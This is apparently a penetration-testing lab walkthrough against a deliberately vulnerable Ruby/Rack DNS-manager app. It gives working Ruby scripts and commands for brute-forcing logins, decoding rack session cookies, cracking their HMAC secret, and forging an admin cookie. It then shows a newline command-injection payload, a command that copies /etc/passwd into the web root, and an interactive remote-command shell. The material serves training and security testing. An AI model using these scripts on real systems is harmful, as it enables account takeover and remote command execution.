Rack Cookies and Commands injection

The fingerprinting can be done using multiple tools. First by just using a browser, it's possible to detect that the application is written in PHP.

A lot of information can be retrieve by connecting to the web application using netcat or telnet:

$ telnet vulnerable 80

Where:

• vulnerable is the hostname or the IP address of the server;
• 80 is the TCP port used by the web application (80 is the default value for HTTP).

By sending the following HTTP request:

GET / HTTP/1.1
Host: vulnerable 

It's possible to retrieve information on the version of the web server and the technology used just by observing the HTTP headers sent back by the server:

HTTP/1.1 302 Found
Date: Thu, 13 Sep 2012 05:54:05 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.12
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
Location: http://vulnerable/login
Content-Length: 0
Status: 302
Vary: Accept-Encoding
Content-Type: text/html;charset=utf-8

Here, we can see that the application is running on a Debian server using Apache version 2.2.16 and Phusion Passenger 3.0.12. Phusion is probably the most common way to host Ruby/Rack based applications. We can also see that the application redirects us to a login page with a HTTP 302 and the Location header (Location: http://vulnerable/login).

If the application is only available over HTTPs, telnet or netcat won't be able to communicate with the server, openssl needs to be used:

$ openssl s_client -connect vulnerable:443

Where:

• vulnerable is the hostname or the IP address of the server;
• 443 is the TCP port used by the web application (443 is the default value for HTTPs).

When you can only see a login page on a web application, you don't have much choice but to try to find a default account to try to go further.

We will see how it is possible to quickly and easily brute force this login page.

One of the first steps is too carefully read the login page to see what happens when you try to log in and what information is expected.

Here we can see that the web page expected a username, it gives us a good idea of what the format of this value has to be. Some other websites ask for login ID or emails, keeping that in mind will cut down your number of attempts.

By reading the page's source:

<form action="/login" method="POST">
    <div class="clearfix">
      <label for="">Username:</label>
        <div class="input">
          <input class="xxlarge" id="xlInput" name="login" size="80" type="text" />
        </div>
    </div>
    <div class="clearfix">
      <label for="">Password:</label>
        <div class="input">
          <input class="xxlarge" id="xlInput" name="password" size="80" type="password" />
        </div>
    </div>
    <div class="actions">
      <button type="reset" class="btn">Cancel</button>
       
      <button type="submit" class="btn primary">Login</button>
    </div>
   </form>

We can see that:

• the form has two parameters: login and password;
• the method used by the form is POST;
• the POST request is sent to /login.

Based on this information, we can manually build the query that your browser will send to the website:

POST /login HTTP/1.1
Host: vulnerable 
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

login=pentester&password=test

We can even try this request using telnet.

Another easier way is to set up a HTTP proxy like Burp Suite http://portswigger.net/

After sending the request in Burp Suite, we can see that the response is a redirect to the page /login when we send invalid credentials.

To perform a brute force attack, you will need a good dictionary. You have many ways to find good dictionaries:

• use the one available online: Openwall's wordlists, wfuzz's wordlist, or just google "passwords list"
• follow hacking groups for password dump.
• keep the passwords you already found: this is a really efficient way to get good passwords if you often work for the same companies or if you don't work for English speaking companies.
• build a list from the corporate website by spidering it and gathering keywords.

For the rest of the exercise, you can use a small dictionary containing the following words:

$ cat dico.txt 
secret
pentesterlab
admin
test
password

When you try to brute force a web page, you know what happen on unsuccessful login but you have no idea on what happen if the login is successful. To perform the brute force you will need to think about the opposite of what you want and find the case that does not match what you want.

Patator http://code.google.com/p/patator/ is a multi-protocol brute forcing tool, it can be used to find default credentials for web applications and a lot of other services (LDAP, Oracle, SMB, SSH...).

Here, we will need to tell patator how to perform the brute force, we can use the dictionary big.txt from wfuzz for example. We can then use the following common line to find an account where login is identical to the password:

patator http_fuzz url=http://vulnerable/login method=POST body='login=FILE0&password=FILE0' 0=~/wfuzz/wordlist/general/big.txt accept_cookie=1  follow=1 -x ignore:fgrep='DNS Manager Login'  -l /tmp/patator

Where:

• http_fuzz is used to tell Patator to use the module http_fuzz;
• url= is used to set the URL;
• method=POST to tell Patator to use HTTP POST;
• body is the body of the request based on the information we gathered before;
• we also want to use accept_cookie=1 and follow=1 to accept the cookies sent back by the application and follow the redirect since the application redirects us after unsuccessful attempt, it may do the same for successful attempt;
• -x ignore:fgrep='DNS Manager Login' is used to tell Patator to ignore response containing "DNS Manager Login", once we are log in, it's likely that we won't see this in the authenticated section of the site.

By running this command, we quickly get an account (test/test):

patator http_fuzz url=http://vulnerable/login method=POST body='login=FILE0&password=FILE0' 0=~/wfuzz/wordlist/general/big.txt accept_cookie=1  follow=1 -x ignore:fgrep='DNS Manager Login' 
17:46:54 patator    INFO - Starting Patator v0.3 (http://code.google.com/p/patator/) at 2012-09-13 17:46 EST
17:46:54 patator    INFO - 
17:46:54 patator    INFO - code & size     | candidate                   |   num | mesg
17:46:54 patator    INFO - ---------------------------------------------------------------
17:47:03 patator    INFO - 200 2855:1713   | test                        |  2722 | HTTP/1.1 200 OK
17:47:04 patator    INFO - Hits/Done/Size/Fail: 1/3036/3036/0, Avg: 292 r/s, Time: 0h 0m 10s

There is a lot of other ways and options to use in patator, I strongly recommend you read the README available in the script to discover other modules and options.

We can easily write a quick Ruby script to perform the brute force attack using the library net/http. We just need to know how to read a file and do a HTTP request.

Here, we are going to use a Proxy to perform the HTTP request. This way we will be able to debug the script. The following code illustrates how to perform the POST request and retrieve the Location: header:

require "net/http"
require "uri"
require "pp"

# Remote host
URL = "http://vulnerable/login"

# Create URL object
url = URI.parse(URL) 

# Proxy configuration
PROXY = "127.0.0.1"
PROXY_PORT = "18080"


creds = "admin"

# HTTP request
resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do |http|
  resp = http.post(url.request_uri, "login=#{creds}&password=#{creds}")
end
# Print the Location header of the response
puts  resp.header['Location']

Now that we know how to send a request and check the result, we just need to read a file do a loop for each element:

require "net/http"
require "uri"
require "pp"

# Remote host
URL = "http://vulnerable/login"

# Create URL object
url = URI.parse(URL)

# Proxy configuration
PROXY = "127.0.0.1"
PROXY_PORT = "18080"

exit unless ARGV[0]

File.readlines(ARGV[0]).each do |c|
  c.chomp!
  # HTTP request
  resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do |http|
    resp = http.post(url.request_uri, "login=#{c}&password=#{c}")
  end
  
  # Print the Location header of the response
  puts  resp.header['Location']
  
  # if the redirect doesn't match login
  # we probably have a winner
  if resp.header['Location'] !~ /login/
    puts "Valid credentials found: #{c}/#{c}"
    puts resp.header['Set-Cookie']
    exit
  end
end

It's pretty easy to write your own brute forcing tool in any language, you just need to be able to write the following code:

• send a HTTP request;
• read a file (to read the passwords' list);
• extract information from a HTTP response;

From that you can rewrite the ruby code from the previous section in your favourite language.

If you run correctly the previous tool, you should, by now, have a valid username and password.

You can now log in the application and see what is happening.

When you log in and inspect the HTTP traffic you can see that the server sends back a cookie named rack.session. We are going to see how we can decode and modify this cookie to escalate our privileges.

Default rack cookies have one of these 2 forms:

• A string:

Set-Cookie: rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiJFNWE4OWJhZmNhNDc2MGY1MTA0MTJm%0AZTM0MDJlZjE3MzAxN2ZjMzBjYWRmMWNiYTgwNGYxNzE3NTI1NTgxNjZmYw%3D%3D%0A; path=/; HttpOnly

• A string and a signature separated by --:

Set-Cookie: rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiJFYmJiMTRiODI3YjdlODg2OWMwNWY3%0ANjdmMGNlZjg2YjVkN2VjMDQxN2ZlYTU0YWM3ZTI5OTUwNTY3MjgzMWI3Yg%3D%3D%0A--61215fa13942903faa4652f73e613aa0ced6db2d; path=/; HttpOnly

If the signature is not used, the cookie can easily be tampered. If the signature is used, the cookie can only be tampered if the secret used to sign the cookies can be guessed. In both cases, the cookie can easily be decoded and the information accessed.

Here, we can see that the cookie is signed using the result from the fingerprinting:

Set-Cookie: rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiJFYmJiMTRiODI3YjdlODg2OWMwNWY3%0ANjdmMGNlZjg2YjVkN2VjMDQxN2ZlYTU0YWM3ZTI5OTUwNTY3MjgzMWI3Yg%3D%3D%0A--61215fa13942903faa4652f73e613aa0ced6db2d; path=/; HttpOnly

To encode the cookie, two operations are done by the server:

1. the object is serialised using the ruby function Marshal.dump;
2. the result is encoded using base64
3. the result is then URL-encoded to prevent any issues with HTTP.

The source code illustrating this behaviour can be found in rack in the file lib/rack/session/cookie.rb or on the project repository.

In order to decode a cookie we will need to inverse those three operations:

1. extracted the cookie value: remove the cookie's name and options and the signature;
2. decode this value using URL encoding and base64;
3. load the object using the ruby function Marshal.load.

The following ruby code used to perform these three operations:

require "net/http"
require "uri"
require 'pp'
require 'base64'
# Remote host

URL = "http://vulnerable/login"

# Create URL object
url = URI.parse(URL) 

# Proxy configuration
PROXY = "127.0.0.1"
PROXY_PORT = "18080"


creds = "test"

# Authentication
resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do |http|
  http.post(url.request_uri, "login=#{creds}&password=#{creds}")
end

# puts get the cookie
c = resp.header['Set-Cookie'].split("=")[1].split("; ")[0]
cookie, signature = c.split("--")
decoded = Base64.decode64(URI.decode(cookie))
begin
  # load the object
  object = Marshal.load(decoded)
  pp object
rescue ArgumentError => e
  puts "ERROR: "+e.to_s
end

If we run the script, we get the following result:

$ ruby decode1.rb
ERROR: undefined class/module User

When decoding the object, Ruby can't find a reference to the class, we can add a stub to this class by declaring it earlier in the file:

class User
end

We can now run the script again:

$ ruby decode2.rb
ERROR: undefined class/module DataMapper::

We have now another error, since the object is probably a serialised DataMapper object (database abstraction library for Ruby).

We just need to add a require to load this library:

require 'data_mapper'

If you are not using the liveCD, you will probably need to install DataMappper on your system:

$ gem install data_mapper
$ gem install dm-sqlite-adapter

And keep trying:

$ ruby decode3.rb
ERROR: undefined class/module DataMapper::Adapters::SqliteAdapter

Another error message, after some googling, we can find that the problem is that DataMapper can't find the adapter to the database, we can create a "fake" one using the following code:

DataMapper.setup(:default,'sqlite3::memory')

And run the new code:

$ ruby decode4.rb
{"session_id"=>
  "af079d20f830683906ce30741fcee892ba540493c282ba48292477e5cf394305",
 "user"=>
  #<User:0x0000000303fa18
   @_persistence_state=
    #<DataMapper::Resource::PersistenceState::Clean:0x0000000303f900
     @model=User,
     @resource=#<User:0x0000000303fa18 ...>>,
   @_repository=#<DataMapper::Repository @name=default>,
   @admin=false,
   @id=2,
   @login="test",
   @password="098f6bcd4621d373cade4e832627b4f6">}

By doing these operations, we can now access the information provided by the server.

Accessing information is good, especially if the developer stores sensitive information in the cookie, however here the goal is to manipulate the cookie to go further and try to modify the value we just decoded to change the attribute admin for example.

To tamper a unsigned rack cookie, we will need to decode the cookie, tamper it and then re-encode it. We just saw how to decode the cookie, now we just need to modify the attribute and re-encode it. First we will need to add a line to the User class to be able to access the admin attribute:

class User
  attr_accessor :admin
end

Once this is done, we can modify the cookie and re-encode it:

object = Marshal.load(decoded)
  pp object
  object["user"].admin = true
  nc = Base64.encode64(Marshal.dump(object))
  pp nc

We are just doing the opposite operations of the ones we used to decode the cookie.

However, if we send back the cookie to the server, this cookie won't get accepted and the server will redirect us to the login page... we need to find a way to recover the secret used to sign the cookie.

To tamper the signed cookie, you will need to:

• find the secret used to sign the cookie;
• use the previous script to tamper and re-sign the tampered cookie.

To brute force the cookie, we are going to create a brute force tool to try to find the correct value. To do that, we just need to copy the code used by the rack library (in the file lib/rack/session/cookie.rb) or on the project repository and iterate over a dictionary of words.

The following code illustrate how cookies are signed:

def generate_hmac(data, secret)
    OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
end

Now that we know how to sign a cookie with a given secret, we are able to iterate over the file and check if we can find a secret that will generate the correct signature (using a cookie sent back by the application which is valid by definition):

require 'openssl'
require 'uri'
require 'pp'

COOKIES= "BAh7B0kiD3Nlc3Npb25faWQGOgZFRiJFNjYzYjQ1YTQxZDk1ZGZiMTBiZTA1%0AMjNmMjA2ZGNjOWZiMGUxZDU0MGM1NWQwYzI1MDA5M2FlNzc4YjNiYzYwNEki%0ACXVzZXIGOwBGbzoJVXNlcgs6GEBfcGVyc2lzdGVuY2Vfc3RhdGVvOjJEYXRh%0ATWFwcGVyOjpSZXNvdXJjZTo6UGVyc2lzdGVuY2VTdGF0ZTo6Q2xlYW4HOg5A%0AcmVzb3VyY2VACToLQG1vZGVsYwlVc2VyOgtAbG9naW5JIgl0ZXN0BjsAVDoL%0AQGFkbWluRjoOQHBhc3N3b3JkSSIlMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgz%0AMjYyN2I0ZjYGOwBUOghAaWRpBzoRQF9yZXBvc2l0b3J5bzobRGF0YU1hcHBl%0Acjo6UmVwb3NpdG9yeQg6CkBuYW1lOgxkZWZhdWx0OhNAaWRlbnRpdHlfbWFw%0Ac3sGQAtDOhxEYXRhTWFwcGVyOjpJZGVudGl0eU1hcHsGWwZpB0AJOg1AYWRh%0AcHRlcm86KERhdGFNYXBwZXI6OkFkYXB0ZXJzOjpTcWxpdGVBZGFwdGVyDTsR%0AOxI6DUBvcHRpb25zQzoVRGF0YU1hcHBlcjo6TWFzaHsOSSILc2NoZW1lBjsA%0ARkkiC3NxbGl0ZQY7AEZJIgl1c2VyBjsARjBJIg1wYXNzd29yZAY7AEYwSSIJ%0AaG9zdAY7AEZJIgAGOwBGSSIJcG9ydAY7AEYwSSIKcXVlcnkGOwBGMEkiDWZy%0AYWdtZW50BjsARjBJIgxhZGFwdGVyBjsARkkiDHNxbGl0ZTMGOwBGSSIJcGF0%0AaAY7AEZJIhAvdG1wL2Rucy5kYgY7AEY6IEByZXNvdXJjZV9uYW1pbmdfY29u%0AdmVudGlvbm1GRGF0YU1hcHBlcjo6TmFtaW5nQ29udmVudGlvbnM6OlJlc291%0AcmNlOjpVbmRlcnNjb3JlZEFuZFBsdXJhbGl6ZWQ6HUBmaWVsZF9uYW1pbmdf%0AY29udmVudGlvbm02RGF0YU1hcHBlcjo6TmFtaW5nQ29udmVudGlvbnM6OkZp%0AZWxkOjpVbmRlcnNjb3JlZDoUQG5vcm1hbGl6ZWRfdXJpbzoVRGF0YU9iamVj%0AdHM6OlVSSQ86DEBzY2hlbWVAHjoPQHN1YnNjaGVtZTA6CkB1c2VyMDsNMDoK%0AQGhvc3RAGToKQHBvcnQwOgpAcGF0aEAgOgtAcXVlcnlDOxh7DkAUQBVAFjBA%0AFzBAGEAZQBowQBswQBwwQB1AHkAfQCA6DkBmcmFnbWVudDA6DkByZWxhdGl2%0AZTA6FEBzcWxpdGVfdmVyc2lvbkkiCjMuNy4zBjsAVDojQHN1cHBvcnRzX2Ry%0Ab3BfdGFibGVfaWZfZXhpc3RzVDoVQHN1cHBvcnRzX3NlcmlhbFQ%3D%0A--61b269ef4410ef84c529196aa4ebbb85193441d8"

def sign(data, secret)
  OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
end 

value, signed = COOKIES.split("--",2)

value = URI.decode(value)

File.readlines(ARGV[0]).each do |c|
  c.chomp!
  if sign(value, c) == signed
    puts "Secret found: "+c
    exit
  end
end

We can now run the code to find the key:

$ ruby bf.rb dico.txt
Secret found: secret

We now have the secret and can resign any cookies for this application.

Now that we know the secret, we can resign the cookie using the brute-force code:

# before
pp object
object["user"].admin = true
# after
pp object
# new cookie:
nc =Base64.encode64(Marshal.dump(object))
ns = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, "secret", nc)

A valid cookie can then be generated and used:

# URI.encode doesn't encode = sign 
newcookie = URI.encode(nc).gsub("=","%3D")+"--"+ns

Using Ruby, we can now connect to the website to check if the new cookie get accepted:

resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do |http|
  http.get("/", {"Cookie" => "rack.session="+newcookie })
end
pp resp
pp resp.body

You should get a HTTP/200 response if everything is done correctly.

If you're using Firefox, you can use the following extension to modify your cookies: Cookie manager +.

After reloading the page, you should be able to see the "Admin version" of the website:

Detecting commands injection

Like for any web vulnerability, testing and finding command execution is based on a lot of poking around to try to understand what the code is likely to do with the data you provided.

You need to find somewhere in the application where a parameter is used in a command. Then you can try to manipulate this parameter to trigger an error or a weird behaviour.

If you don't see any changes, you can also try to play with the time taken by the server to answer. For example, you can use the following commands to create a delay in the server's response:

• ping -c 4 127.0.0.1
• sleep 5

If you see a time delay, it's likely that you can inject commands and run arbitrary commands on the remote server.

Here, we can try to inject in the IP address or in the hostname when we create or update a DNS record. If you try to add uname for example in the IP address parameter, the following error is sent back by the application:

However, a really common issue with Ruby based application is a misunderstanding on how regular expressions work: in Ruby, regular expressions are multi-lines by default.

For example, the following regular expression /^\d+$/ will validate:

• "123", as in any other language;
• "123\narbitrary data";
• "arbitrary data\n123\narbitrary data".

We can now test this value by using a proxy and injecting a new line (encoded as %0a) and an arbitrary command in the request:

id=1&name=webmail&ip=192.168.3.10%0a`pwd`&ttl=600

We can see the result of the command in the error message:

However, if you try to inject a command that returns more than one word, you can see that only the first value is returned.

id=1&name=webmail&ip=192.168.3.10%0a`cp /etc/passwd /var/www/public/`&ttl=600

require "net/http"
require "uri"
require 'pp'

# Remote host
URL = "http://vulnerable/"

# Create URL object
url = URI.parse(URL) 

# Proxy configuration
PROXY = "127.0.0.1"
PROXY_PORT = "18080"

exit unless ARGV[0]

cookie = ARGV[0]

while 1
  print "cmd> "
  cmd = STDIN.readline
  cmd.chomp!
  # HTTP request
  post = "id=1&name=webmail&ttl=600&ip=192.168.3.10%0a"
  post += "`#{URI.encode(cmd)}+>+/var/www/public/result.txt`"
  resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do |http|
    http.post("/update", post, {"Cookie" => "rack.session="+cookie} )
  end
  if resp.header['Location'] =~ /login/
    puts "You have been logged out"
    exit 
  elsif resp.body =~ /Invalid data provided/
    puts "Error processing the command"
  else
    resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do |http|
      http.get("/result.txt",  )
    end
    puts resp.body
  end
end

$ ruby automation.rb "BAh7B0kiD3Nlc............6GEBfcGVyc2lzdGVuY2Vf%0AbGF0aXZlMDoUQHNxbGl0ZV92ZXJzaW9uSSIKMy43LjMGOwBUOiNAc3VwcG9y%0AdHNfZHJvcF90YWJsZV9pZl9leGlzdHNUOhVAc3VwcG9ydHNfc2VyaWFsVA%3D%3D%0A--553726173b18abd20886c7e4f22b9898520c90d8"
cmd> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cmd> uname
Linux